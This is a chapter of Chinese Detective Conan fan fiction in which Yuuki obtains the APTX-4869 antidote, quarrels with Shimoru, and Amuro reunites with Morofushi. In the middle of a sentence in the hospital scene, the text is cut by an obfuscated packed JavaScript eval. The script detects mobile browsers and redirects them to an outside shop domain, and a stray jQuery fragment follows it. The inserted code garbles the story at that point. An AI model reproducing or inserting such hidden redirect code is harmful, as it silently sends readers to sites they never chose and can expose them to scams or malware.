“你确定吗?”
医院里的一处墙角,灰原哀倚着墙抱胸看向低沉的柯南。
“嗯,肯定和黑衣组织有关,”柯南抬起头眼神坚定地说,“灰原,解药能再给我几颗吗?”
灰原拒绝道:“我说过吃多了会有副作用的,还会产生抗药性……”
“我知道,”柯南打断她说,“可是……你知道吗?这具身体太没用了,如果……如果我能变回去,兰就不会现在还躺在病床上。”
灰原哀沉默地和柯南对视着,她妥协地长叹一口气,将随身携带的解药递给他:“只有一颗。”
柯南刚碰上药盒就被一双手截胡了。
“结城哥哥?”
结城未已截过药盒拿在手中晃了一下,药丸滚动发出细微的响声。
“这个就是APTX-4869的解药?”
“结城哥哥你……恢复记忆了?”
结城未已将手里的文件拿给灰原哀说:“还没有,但我想快了。”
他很自然地把灰原哀给柯南的解药装进口袋,在柯南之前说道:“这是我从组织实验室里找到的部分资料,灰原你看看能不能研究出什么。”
灰原哀快速地浏览了一遍。
资料上是某种药物的实验记录,一时看不出是什么药来。
结城未已又问:“既然这个是APTX-4869的药,那我吃的话应该也有用吧。”
灰原哀的目光瞬间从资料里移到结城未已身上,她警惕地问:“你要干嘛?”
显而易见,结城未已打算试一试这个药对自己管不管用。
“你和工藤的情况完全不一样,吃了也不一定有用。”
结城未已飞快地接道:“那就是有可能?”
灰原哀一噎。
的确有可能。
结城未已看她的表情就知道这要确实有可能帮助自己恢复。
他不再多待,直接转身离开。
灰原哀心累地喊了声:“喂!”
柯南:“灰原,还有解药吗?”
灰原哀怒瞪一眼,没好气地说:“最后一颗了,你找他要去吧。”
结城未已右手插在衣兜里,紧紧捏着他从柯南那抢来的解药,刚走出医院就被人喊住了。
司木露从从后面走了过来。
他上下打量一通结城未已,最后把目光放在了他塞进口袋里的右手。
“你去做什么了?”
结城未已斜眼看他,没说话,迈开脚继续往前走。
司木露连忙跟上去。
“世界意识不是消失了吗,我们已经安全了,你还要做什么?”他拽住结城未已的胳膊生生把他逼停,质问道。
结城未已这才正视他:“世界意识没有消失,只是能力不够,暂时沉睡了,迟早有一天会回来的,在此之前,必须要让这个世界的故事线完结,你我才能活下去。”
“完结?”司木露不确定地问,“消灭组织?”
结城未已并不能百分百确定:“大概吧。”
“那我……能帮你什么?”
结城未已意味不明地看他一眼,语气生硬地说:“少和这里的人接触就行。”
“?”
世界意识的削弱虽然对于他们来说是件好事,但对这个世界来说,却是百害而无一利。
系统说的对,他们是这个世界的入侵者。
入侵这个词,一听就是坏的。
从这次毛利兰重伤,结城未已就察觉到,自从世界意识弱下去后,主角光环的作用也跟着减弱了。
如果他们这些入侵者再干扰下去,没准这个世界就会彻底坍塌。
司木露和结城未已不同。
结城未已是通过系统它们的正规渠道进来的,还是死后以灵魂的状态进入的,进过十几年的适应,他已经和这个世界密切联系起来,几乎是世界的人了。自身的力量对这个世界的干扰也几乎为零。
但司木露不一样,他的每一个举动都有可能对这个世界造成巨大干扰。
总的来说,结城未已被这个世界同化了,哪怕作出很出格的行为,造成偏离故事线的事故,也会被世界扳回原位。
但司木露是来自更高位面的人,他所做出的行为,导致的一系列事,世界都没有足够的力量将它扳回原位。
结城未已无奈地说:“你该回去了。”
司木露不理解:“为什么?”
“你看到了吗?小兰现在还在病房里。主角也会受伤,如果没有足够的主角光环他们甚至会死亡。世界意识沉睡了,主角光环也会被削弱。”
司木露瞪大眼睛,并不想赞同结城未已,他声音逐渐拔高:“你的意思是我们害了她?要不是那个什么世界意识要和我们同归于尽,毛利兰就不会受伤!”
“小声点。”结城未已压低声,拉着他往偏僻的地方走去。
“如果不是我们世界意识会这么做吗?”结城未已反问道。
“哼!”司木露没说话,他用鼻子冲出气,扭过头不看他。
“我会想办法让故事线结束,然后让世界意识恢复力量,在此之后你最好快点离开这里。”
“你怎么让世界意识恢复?你有办法?”
“我会想办法的。”
“呵,搞半天你在说空话啊。”
结城未已尽量让自己冷静下来,不被司木露牵动情绪。
“那你要怎么灭掉组织?”司木露接着问,“难道用你口袋里的药恢复记忆,然后和组织硬刚。”
“你跟踪我?”
结城未已暮然盯着司木露的眼睛,话里已经有了怒气。
“是啊,谁叫你没发现。跟踪了又怎样,你能拿我……噗!”
司木露的话还没说完,直接被结城未已一拳捶进了草地里。
“你真欠揍,”结城未已居高临下地瞪着他,“再多说一句,我让你现在就回去。”
司木露坐在地上敢怒不敢言。
等结城未已彻底离开后,他手下的草已经没了头。
月光占据了阳光的地位,为这个世界照明。
护士们又开始晚上的查房。
单人间里,灯已经关了,护士长眯着眼睛从病房门里的透明窗口往里一瞧,被子鼓鼓囊囊的,她随即转身往下一间病房走去。
她刚踏出去几步,脚步猛地一顿,迅速倒退走回刚刚那件病房。
护士长唰地打开门。
啪——
刺眼的灯光重新照亮病房。
护士长看向跟在她身后的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14214640|142324||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小护士门,声音犹如夜晚出来寻食的饿虎:“305病房里的人呢?”
305病房的人早在一小时前,趁着护士交班的时候,凭借着超高的埋伏技术,偷溜了出去,没有一个护士发现他。
据说之前有个病人不顾医生的阻止从医院里逃出去后,医院的保障措施就更完善了。
比如,安室透今天早上没发办理出院。
他伤到了脑袋。
从上面掉下的天花板砸在他的后脑勺,导致他现在还晕乎乎的。
“叮咚——”
“叮咚——”
门铃响了一声又一声,却没人来给他开门。
“我知道你在家!”
窗户黑漆漆的,门内鸦雀无声,冷风吹过他的发丝。
安室透暴力撬开门,闯了进去。
“哐当——”
卧室里传来东西掉落的声音。
安室透关上门大步走过去。
“我们见一面好吗?景。”
“……”
诸伏景光站在门边,心跳如鼓,他想开门见他,非常迫切地想。
他连滚带爬地握上门把手,却在最后一刻停下来了,身体僵硬的站在门内。
他又发病了……
“为什么……”安室透问,“为什么你不愿意见我?”
安室透站在门外。
诸伏景光没有锁门,只要安室透轻轻扳动门把手,门就会。
但此时,没有一个人转动这个门把手。
黑暗笼罩着整个屋子。
安室透再等诸伏景光说话,诸伏景光也在等安室透打开门。
两个人就这么维持着诡异的状态。
“喂,”黑暗中骤然响起另外一道声音,“你们俩个。”
“谁!”
月光从窗户外撒进来,照在那人的侧脸。
安室透看清他的面貌后瞬间放松警惕:“你什么时候来的?”
“在你之前,”结城未已走到安室透身边说,“门没锁。”
“?”
结城未已按在门把手上:“你该强硬一点,尤其对某个精神上有问题的人。”
门推开了。
黑暗的房间里,诸伏景光低着头,皎洁的月光照在他脸上,显得无比苍白。
“景!”
“zero……”
诸伏景光看见安室透,全身骤然泄了力,他扶着墙,冷汗直往外冒。
“景?”
安室透赶忙扶住他,他问:“你怎么了?”
“心理疾病。”回答他的是结城未已。
诸伏景光缓了一会,终于好些了:“我没事,老毛病了。”
这不是安室透第一次听他这样说,只是上一次,他们还只是一个勉强算上朋友的同事。
结城未已:“还是快点找医生看一下吧,这老毛病拖下去就要成大毛病了。”
“什么心理疾病?”安室透焦急地问诸伏景光,“警局没给你做心理治疗?”
“我没事,最近这段时间我有去看心理医生。”诸伏景光安抚着安室透。
他看向结城未已,发现出端疑来。
诸伏景光看着身体依旧没变回去的结城未已猜测道:“你记忆完全恢复了?”